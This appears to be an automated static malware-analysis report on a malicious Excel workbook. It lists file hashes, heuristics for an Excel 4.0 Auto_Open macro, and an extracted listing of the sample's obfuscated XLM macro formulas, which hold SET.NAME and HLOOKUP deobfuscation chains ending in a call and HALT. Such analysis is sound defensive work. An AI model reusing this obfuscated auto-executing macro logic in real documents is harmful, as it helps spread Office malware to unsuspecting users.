Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cee799e30364b8b5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:10 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 732c422d5364fee18e2a6551396c6f8d SHA-1: 62b5aa90eea0b68787772768741b96cba9e441c8 SHA-256: cee799e30364b8b545cdc4af18e18a023c15aeb3567208becc07ec27ec344bc1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6899 bytes
SHA-256: 38bbb23b93e515779fdbe1d939251aae075ff250dfbb3bcf34efdc19fe6fcc3e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SsvcmtcxkA
' 0018     24 LABEL : Cell Value, String Constant - aeIVqKTVp len=0 
' 0018     21 LABEL : Cell Value, String Constant - AkkfoD len=0 
' 0018     26 LABEL : Cell Value, String Constant - aPJfGZAkXoE len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H165 
' 0018     21 LABEL : Cell Value, String Constant - BllHWq len=0 
' 0018     24 LABEL : Cell Value, String Constant - CfFUBVwju len=0 
' 0018     27 LABEL : Cell Value, String Constant - CJNUYRevQzVh len=0 
' 0018     23 LABEL : Cell Value, String Constant - dLeEfsmU len=0 
' 0018     23 LABEL : Cell Value, String Constant - DQmxGPGz len=0 
' 0018     26 LABEL : Cell Value, String Constant - DwrpPtxilKP len=0 
' 0018     21 LABEL : Cell Value, String Constant - EOOuDa len=0 
' 0018     22 LABEL : Cell Value, String Constant - fsAPFHR len=0 
' 0018     26 LABEL : Cell Value, String Constant - GNciAUpdaMO len=0 
' 0018     20 LABEL : Cell Value, String Constant - hrIYq len=0 
' 0018     26 LABEL : Cell Value, String Constant - lEqfJyQMkDQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - mizMAs len=0 
' 0018     27 LABEL : Cell Value, String Constant - mnGvdEyuONXu len=0 
' 0018     20 LABEL : Cell Value, String Constant - qRUkT len=0 
' 0018     25 LABEL : Cell Value, String Constant - qwyStaxzAh len=0 
' 0018     25 LABEL : Cell Value, String Constant - SFxNljfjPG len=0 
' 0018     27 LABEL : Cell Value, String Constant - WokOlTtEjEYe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SsvcmtcxkA,H70,"SET.NAME("qRUkT",0+VALUE("0"))",""
'  SsvcmtcxkA,T71,"",336.00000000000000000000
'  SsvcmtcxkA,T72,"",-601.00000000000000000000
'  SsvcmtcxkA,T73,"",104.00000000000000000000
'  SsvcmtcxkA,H74,"SET.NAME("AkkfoD",qRUkT)",""
'  SsvcmtcxkA,T74,"",256.00000000000000000000
'  SsvcmtcxkA,T75,"",900.00000000000000000000
'  SsvcmtcxkA,H76,"SET.NAME("qwyStaxzAh",qRUkT)",""
'  SsvcmtcxkA,T76,"",708.00000000000000000000
'  SsvcmtcxkA,H81,"SET.NAME("aeIVqKTVp",COUNTA(aPJfGZAkXoE))",""
'  SsvcmtcxkA,H85,"SET.NAME("WokOlTtEjEYe",COUNTA(mnGvdEyuONXu))",""
'  SsvcmtcxkA,H90,[],""
'  SsvcmtcxkA,H93,"SET.NAME("CfFUBVwju","")",""
'  SsvcmtcxkA,H97,"AkkfoD",""
'  SsvcmtcxkA,H99,"SET.NAME("DQmxGPGz",HLOOKUP("*",aPJfGZAkXoE,AkkfoD,FALSE))",""
'  SsvcmtcxkA,H103,"BllHWq",""
'  SsvcmtcxkA,H108,"SET.NAME("dLeEfsmU",qRUkT)",""
'  SsvcmtcxkA,H112,[],""
'  SsvcmtcxkA,H117,"dLeEfsmU",""
'  SsvcmtcxkA,H119,"SFxNljfjPG",""
'  SsvcmtcxkA,H124,"GNciAUpdaMO",""
'  SsvcmtcxkA,H126,"fsAPFHR",""
'  SsvcmtcxkA,H130,"SET.NAME("DwrpPtxilKP",VALUE(HLOOKUP("*",mnGvdEyuONXu,fsAPFHR,FALSE)))",""
'  SsvcmtcxkA,H133,"hrIYq",""
'  SsvcmtcxkA,H136,"CfFUBVwju",""
'  SsvcmtcxkA,H141,"qwyStaxzAh",""
'  SsvcmtcxkA,H143,NEXT(),""
'  SsvcmtcxkA,H146,"EOOuDa",""
'  SsvcmtcxkA,H150,[],""
'  SsvcmtcxkA,H153,"lEqfJyQMkDQ",""
'  SsvcmtcxkA,H157,NEXT(),""
'  SsvcmtcxkA,H160,RETURN(),""
'  SsvcmtcxkA,H190,"SET.NAME("CJNUYRevQzVh",H70)",""
'  SsvcmtcxkA,H194,"aPJfGZAkXoE",""
'  SsvcmtcxkA,H197,"SET.NAME("mnGvdEyuONXu",R68C15)",""
'  SsvcmtcxkA,H200,"SET.NAME("lEqfJyQMkDQ",206)",""
'  SsvcmtcxkA,H203,"SET.NAME("mizMAs",8)",""
'  SsvcmtcxkA,H205,CJNUYRevQzVh(),""
'  SsvcmtcxkA,H206,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.